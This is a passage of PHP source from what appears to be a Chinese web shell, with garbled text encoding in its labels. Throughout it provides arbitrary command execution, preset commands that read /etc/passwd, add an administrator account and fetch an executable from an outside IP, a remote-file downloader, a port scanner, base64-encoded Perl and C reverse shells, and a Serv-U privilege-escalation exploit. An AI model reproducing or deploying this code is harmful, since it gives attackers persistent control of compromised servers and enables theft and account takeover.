		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",$_SERVER['SERVER_SOFTWARE']),
		array("<22><><EFBFBD><EFBFBD>IP",getenv('REMOTE_ADDR')),
		array("Web<65><62><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>",$_SERVER['SERVER_PORT']),
		array("PHP<48><50><EFBFBD>з<EFBFBD>ʽ",strtoupper(php_sapi_name())),
		array("PHP<48>汾",PHP_VERSION),
		array("<22><><EFBFBD><EFBFBD><EFBFBD>ڰ<EFBFBD>ȫģʽ",Info_Cfg("safemode")),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա",$adminmail),
		array("<22><><EFBFBD>ļ<EFBFBD>·<EFBFBD><C2B7>",__FILE__),
		array("<22><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9> URL <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> allow_url_fopen",Info_Cfg("allow_url_fopen")),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD> enable_dl",Info_Cfg("enable_dl")),
		array("<22><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ display_errors",Info_Cfg("display_errors")),
		array("<22>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> register_globals",Info_Cfg("register_globals")),
		array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD> memory_limit",Info_Cfg("memory_limit")),
		array("POST<53><54><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD> post_max_size",Info_Cfg("post_max_size")),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4>ļ<EFBFBD> upload_max_filesize",$upsize),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> max_execution_time",Info_Cfg("max_execution_time")."<22><>"),
		array("<22><><EFBFBD><EFBFBD><EFBFBD>õĺ<C3B5><C4BA><EFBFBD> disable_functions",$dis_func),
		array("phpinfo()",$phpinfo),
		array("Ŀǰ<C4BF><C7B0><EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD>ռ<EFBFBD>diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
		array("ͼ<>δ<EFBFBD><CEB4><EFBFBD> GD Library",Info_Fun("imageline")),
		array("IMAP<41><50><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD>ϵͳ",Info_Fun("imap_close")),
		array("MySQL<51><4C><EFBFBD>ݿ<EFBFBD>",Info_Fun("mysql_close")),
		array("SyBase<73><65><EFBFBD>ݿ<EFBFBD>",Info_Fun("sybase_close")),
		array("Oracle<6C><65><EFBFBD>ݿ<EFBFBD>",Info_Fun("ora_close")),
		array("Oracle 8 <20><><EFBFBD>ݿ<EFBFBD>",Info_Fun("OCILogOff")),
		array("PREL<45><4C><EFBFBD><EFBFBD><EFBFBD>﷨ PCRE",Info_Fun("preg_match")),
		array("PDF<44>ĵ<EFBFBD>֧<EFBFBD><D6A7>",Info_Fun("pdf_close")),
		array("Postgre SQL<51><4C><EFBFBD>ݿ<EFBFBD>",Info_Fun("pg_close")),
		array("SNMP<4D><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>",Info_Fun("snmpget")),
		array("ѹ<><D1B9><EFBFBD>ļ<EFBFBD>֧<EFBFBD><D6A7>(Zlib)",Info_Fun("gzclose")),
		array("XML<4D><4C><EFBFBD><EFBFBD>",Info_Fun("xml_set_object")),
		array("FTP",Info_Fun("ftp_login")),
		array("ODBC<42><43><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>",Info_Fun("odbc_close")),
		array("Session֧<6E><D6A7>",Info_Fun("session_start")),
		array("Socket֧<74><D6A7>",Info_Fun("fsockopen")),
	);
	echo '<table width="100%" border="0">';
	for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";}
	echo '</table>';
	return true;
}
//ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
function Exec_Run($cmd)
{
	$res = '';
	if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
	elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
	elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
	elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
	elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
	return $res;
}
function Exec_g()
{
	$res = '<27><><EFBFBD><EFBFBD>';
	$cmd = 'dir';
	if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];}
print<<<END
<script language="javascript">
function sFull(i){
	Str = new Array(14);
	Str[0] = "dir";
	Str[1] = "ls /etc";
	Str[2] = "cat /etc/passwd";
	Str[3] = "cp -a /home/www/html/a.php /home/www2/";
	Str[4] = "uname -a";
	Str[5] = "gcc -o /tmp/silic /tmp/silic.c";
	Str[6] = "net user silic silic /add & net localgroup administrators silic /add";
	Str[7] = "net user";
	Str[8] = "netstat -an";
	Str[9] = "ipconfig";
	Str[10] = "copy c:\\1.php d:\\2.php";
	Str[11] = "tftp -i 123.234.222.1 get silic.exe c:\\silic.exe";
	Str[12] = "lsb_release -a";
	Str[13] = "chmod 777 /tmp/silic.c";
document.getElementById('cmd').value = Str[i];
return true;
}
</script>
<form method="POST" name="gform" id="gform" action="?s=g"><center><div class="actall">
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;">
<select onchange='return sFull(options[selectedIndex].value)'>
<option value="0" selected>--<2D><><EFBFBD><EFBFBD><EEBCAF>--</option>
<option value="1"><3E>ļ<EFBFBD><C4BC>б<EFBFBD></option>
<option value="2"><3E><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD></option>
<option value="3"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="4">ϵͳ<CFB5><CDB3>Ϣ</option>
<option value="5"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="6"><3E><><EFBFBD>ӹ<EFBFBD><D3B9><EFBFBD></option>
<option value="7"><3E>û<EFBFBD><C3BB>б<EFBFBD></option>
<option value="8"><3E>鿴<EFBFBD>˿<EFBFBD></option>
<option value="9"><3E>鿴<EFBFBD><E9BFB4>ַ</option>
<option value="10"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
<option value="11">FTP<54><50><EFBFBD><EFBFBD></option>
<option value="12"><3E>ں˰汾</option>
<option value="13"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
</select>
<input type="submit" value="ִ<><D6B4>" style="width:80px;"></div>
<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center></form>
END;
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>
function Com_h()
{
$object = isset($_GET['o']) ? $_GET['o'] : 'adodb';
print<<<END
<div class="actall"><a href="?s=h&o=adodb">[ADODB.Connection]</a> 
<a href="?s=h&o=wscript">[WScript.shell]</a> 
<a href="?s=h&o=application">[Shell.Application]</a> 
<a href="?s=h&o=downloader">[Downloader]</a></div>
<form method="POST" name="hform" id="hform" action="?s=h&o={$object}">
END;
if($object == 'downloader')
{
	$Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://blackbap.org/a.exe';
	$Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__).'/a.exe');
print<<<END
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input name="durl" value="{$Com_durl}" type="text" style="width:600px;"></div>
<div class="actall"><3E><><EFBFBD>ص<EFBFBD> <input name="dpath" value="{$Com_dpath}" type="text" style="width:600px;"></div>
<div class="actall"><input value="<22><><EFBFBD><EFBFBD>" type="submit" style="width:80px;"></div></form>
END;
	if((!empty($_POST['durl'])) && (!empty($_POST['dpath'])))
	{
		echo '<div class="actall">';
		$contents = @file_get_contents($_POST['durl']);
		if(!$contents) echo '<27>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>';
		else echo File_Write($_POST['dpath'],$contents,'wb') ? '<27><><EFBFBD>سɹ<D8B3>' : '<27><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>';
		echo '</div>';
	}
}
elseif($object == 'wscript')
{
	$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir';
print<<<END
<div class="actall">ִ<><D6B4>CMD<4D><44><EFBFBD><EFBFBD> <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="ִ<><D6B4>" style="width:80px;"></div></form>
END;
	if(!empty($_POST['cmd']))
	{
		echo '<div class="actall">';
		$shell = new COM('wscript');
		$exe = @$shell->exec("cmd.exe /c ".$cmd);
		$out = $exe->StdOut();
		$output = $out->ReadAll();
		echo '<pre>'.$output.'</pre>';
		@$shell->Release();
		$shell = NULL;
		echo '</div>';
	}
}
elseif($object == 'application')
{
	$run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
	$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\boot.ini d:\a.txt';
print<<<END
<div class="actall"><3E><><EFBFBD><EFBFBD>·<EFBFBD><C2B7> <input type="text" name="run" value="{$run}" style="width:600px;"></div>
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="ִ<><D6B4>" style="width:80px;"></div></form>
END;
	if(!empty($_POST['run']))
	{
		echo '<div class="actall">';
		$shell = new COM('application');
		echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? 'ִ<>гɹ<D0B3>' : 'ִ<><D6B4>ʧ<EFBFBD><CAA7>';
		@$shell->Release();
		$shell = NULL;
		echo '</div>';
	}
}
elseif($object == 'adodb')
{
	$string = isset($_POST['string']) ? $_POST['string'] : '';
	$sql = isset($_POST['sql']) ? $_POST['sql'] : '';
print<<<END
<script language="javascript">
function hFull(i){
	if(i==0 || i==5) return false;
	Str = new Array(12);  
	Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb";
	Str[2] = "Driver={Sql Server};Server=,1433;Database=DB;Uid=sa;Pwd=**";
	Str[3] = "Driver={MySql};Server=;Port=3306;Database=DB;Uid=root;Pwd=**";
	Str[4] = "Provider=MSDAORA.1;Password=<3D><><EFBFBD><EFBFBD>;User ID=<3D>ʺ<EFBFBD>;Data Source=<3D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;Persist Security Info=True;";
	Str[6] = "SELECT * FROM [TableName] WHERE ID<10";
	Str[7] = "INSERT INTO [TableName](usr,psw) VALUES('yoco','pwd')";
	Str[8] = "DELETE FROM [TableName] WHERE ID=1";
	Str[9] = "UPDATE [TableName] SET USER='yoco' WHERE ID=1";
	Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
	Str[11] = "DROP TABLE [TableName]";
	Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
	Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS";
	if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
	return true;
}
</script>
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD> <input type="text" name="string" id="string" value="{$string}" style="width:526px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>--<2D><><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE>--</option>
<option value="1">Access<73><73><EFBFBD><EFBFBD></option>
<option value="2">MsSql<71><6C><EFBFBD><EFBFBD></option>
<option value="3">MySql<71><6C><EFBFBD><EFBFBD></option>
<option value="4">Oracle<6C><65><EFBFBD><EFBFBD></option>
<option value="5">--SQL<51>﷨--</option>
<option value="6"><3E><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD></option>
<option value="7"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="8">ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
<option value="9"><3E>޸<EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD></option>
<option value="10"><3E><><EFBFBD><EFBFBD><EFBFBD>ݱ<EFBFBD></option>
<option value="11">ɾ<><C9BE><EFBFBD>ݱ<EFBFBD></option>
<option value="12"><3E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD></option>
<option value="13">ɾ<><C9BE><EFBFBD>ֶ<EFBFBD></option>
</select></div>
<div class="actall">SQL<51><4C><EFBFBD><EFBFBD> <input type="text" name="sql" id="sql" value="{$sql}" style="width:650px;"></div>
<div class="actall"><input type="submit" value="ִ<><D6B4>" style="width:80px;"></div>
</form>
END;
	if(!empty($string))
	{
		echo '<div class="actall">';
		$shell = new COM('adodb');
		@$shell->Open($string);
		$result = @$shell->Execute($sql);
		$count = $result->Fields->Count();
		for($i = 0;$i < $count;$i++){$Field[$i] = $result->Fields($i);}
		echo $result ? $sql.' ִ<>гɹ<D0B3><br>' : $sql.' ִ<><D6B4>ʧ<EFBFBD><CAA7><br>';
		if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field[$i]->value).'<br>';}@$result->MoveNext();}}
		$shell->Close();
		@$shell->Release();
		$shell = NULL;
		echo '</div>';
	}
}
	return true;
}

//ɨ<><C9A8><EFBFBD>˿<EFBFBD>
function Port_i()
{
	$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
	$Port_port = isset($_POST['port']) ? $_POST['port'] : '21|22|23|25|80|110|135|139|445|1433|3306|3389|8000|43958';
print<<<END
<form method="POST" name="iform" id="iform" action="?s=i">
<div class="actall">ɨ<><C9A8>IP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div>
<div class="actall"><3E>˿ں<CBBF> <input type="text" name="port" value="{$Port_port}" style="width:597px;"></div>
<div class="actall"><input type="submit" value="ɨ<><C9A8>" style="width:80px;"></div>
</form>
END;
	if((!empty($_POST['ip'])) && (!empty($_POST['port'])))
	{
		echo '<div class="actall">';
		$ports = explode('|', $_POST['port']);
		for($i = 0;$i < count($ports);$i++)
		{
			$fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2);
			echo $fp ? '<font color="#FF0000"><3E><><EFBFBD>Ŷ˿<C5B6> ---> '.$ports[$i].'</font><br>' : '<27>رն˿<D5B6> ---> '.$ports[$i].'<br>';
			ob_flush();
			flush();
		}
		echo '</div>';
	}
	return true;
}

//Linux<75><78>Ȩ
function Linux_k()
{
	$yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR');
	$yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666';
print<<<END
<form method="POST" name="kform" id="kform" action="?s=k">
<div class="actall"><3E><><EFBFBD>ĵ<EFBFBD>ַ <input type="text" name="yourip" value="{$yourip}" style="width:400px"></div>
<div class="actall"><3E><><EFBFBD>Ӷ˿<D3B6> <input type="text" name="yourport" value="12666" style="width:400px"></div>
<div class="actall">ִ<>з<EFBFBD>ʽ <select name="use" >
<option value="perl">perl</option>
<option value="c">c</option>
</select></div>
<div class="actall"><input type="submit" value="<22><><EFBFBD><EFBFBD>" style="width:80px;"></div></form>
END;
	if((!empty($_POST['yourip'])) && (!empty($_POST['yourport'])))
	{
		echo '<div class="actall">';
		if($_POST['use'] == 'perl')
		{
			$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
			"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
			"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
			"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
			"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
			"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
			"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
			echo File_Write('/tmp/yoco_bc',base64_decode($back_connect_pl),'wb') ? '<27><><EFBFBD><EFBFBD>/tmp/yoco_bc<62>ɹ<EFBFBD><br>' : '<27><><EFBFBD><EFBFBD>/tmp/yoco_bcʧ<63><CAA7><br>';
			$perlpath = Exec_Run('which perl');
			$perlpath = $perlpath ? chop($perlpath) : 'perl';
			echo Exec_Run($perlpath.' /tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : 'ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>';
		}
		if($_POST['use'] == 'c')
		{
			$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
			"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
			"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
			"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
			"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
			"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
			"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
			"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
			echo File_Write('/tmp/yoco_bc.c',base64_decode($back_connect_c),'wb') ? '<27><><EFBFBD><EFBFBD>/tmp/yoco_bc.c<>ɹ<EFBFBD><br>' : '<27><><EFBFBD><EFBFBD>/tmp/yoco_bc.cʧ<63><CAA7><br>';
			$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/yoco.c');
			echo Exec_Run('/tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : 'ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>';
		}
		echo '<br><3E><><EFBFBD><EFBFBD><EFBFBD>Գ<EFBFBD><D4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӷ˿<D3B6> (nc -l -n -v -p '.$_POST['yourport'].') </div>';
	}
	return true;
}

//ServU
function Servu_l()
{
	$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P';
print<<<END
<div class="actall"><a href="?s=l">[ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]</a> <a href="?s=l&o=adduser">[<5B><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>]</a></div>
<form method="POST">
	<div class="actall">ServU<76>˿<EFBFBD> <input name="SUPort" type="text" value="43958" style="width:300px"></div>
	<div class="actall">ServU<76>û<EFBFBD> <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
	<div class="actall">ServU<76><55><EFBFBD><EFBFBD> <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
END;
if($_GET['o'] == 'adduser')
{
print<<<END
<div class="actall"><3E>ʺ<EFBFBD> <input name="user" type="text" value="yoco" style="width:200px">
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input name="password" type="text" value="silic" style="width:200px">
Ŀ¼ <input name="part" type="text" value="C:\\\\" style="width:200px"></div>
END;
}
else
{
print<<<END
<div class="actall"><3E><>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD> <input name="SUCommand" type="text" value="net user silic silic /add & net localgroup administrators silic /add" style="width:600px"><br>
<input name="user" type="hidden" value="silic">
<input name="password" type="hidden" value="silic">
<input name="part" type="hidden" value="C:\\\\"></div>
END;
}
echo '<div class="actall"><input type="submit" value="ִ<><D6B4>" style="width:80px;"></div></form>';
	if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass'])))
	{
		echo '<div class="actall">';
		$sendbuf = "";
		$recvbuf = "";
		$domain  = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n";
		$adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n".
							 "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n".
							 "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n";
		$deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n";
		$sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
		$recvbuf = @fgets($sock, 1024);
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
		$sendbuf = "USER ".$_POST["SUUser"]."\r\n";
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
		$sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
		$sendbuf = "SITE MAINTENANCE\r\n";
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
		$sendbuf = $domain;
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
		$sendbuf = $adduser;
		@fputs($sock, $sendbuf, strlen($sendbuf));
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
		$recvbuf = @fgets($sock, 1024);
		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
		if(!empty($_POST['SUCommand']))
		{
	 		$exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
	 		$recvbuf = @fgets($exp, 1024);
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
	 		$sendbuf = "USER ".$_POST['user']."\r\n";
	 		@fputs($exp, $sendbuf, strlen($sendbuf));
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
	 		$recvbuf = @fgets($exp, 1024);
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
	 		$sendbuf = "PASS ".$_POST['password']."\r\n";
	 		@fputs($exp, $sendbuf, strlen($sendbuf));
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
	 		$recvbuf = @fgets($exp, 1024);
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
	 		$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
	 		@fputs($exp, $sendbuf, strlen($sendbuf));
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: site exec <font color=#006600>".$_POST["SUCommand"]."</font> <br>";
	 		$recvbuf = @fgets($exp, 1024);
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
	 		$sendbuf = $deldomain;
	 		@fputs($sock, $sendbuf, strlen($sendbuf));
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $sendbuf <br>";
	 		$recvbuf = @fgets($sock, 1024);
	 		echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>: $recvbuf <br>";
	 		@fclose($exp);
		}
		@fclose($sock);
		echo '</div>';
	}
}

//FTP<54><50><EFBFBD><EFBFBD>
function filecollect($dir,$filelist) {
   $files = ftp_nlist($conn,$dir); 
   return $files;
   }
function ftp_php(){
$dir = "";
$ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1';
$ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root';
$ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'silic123456';
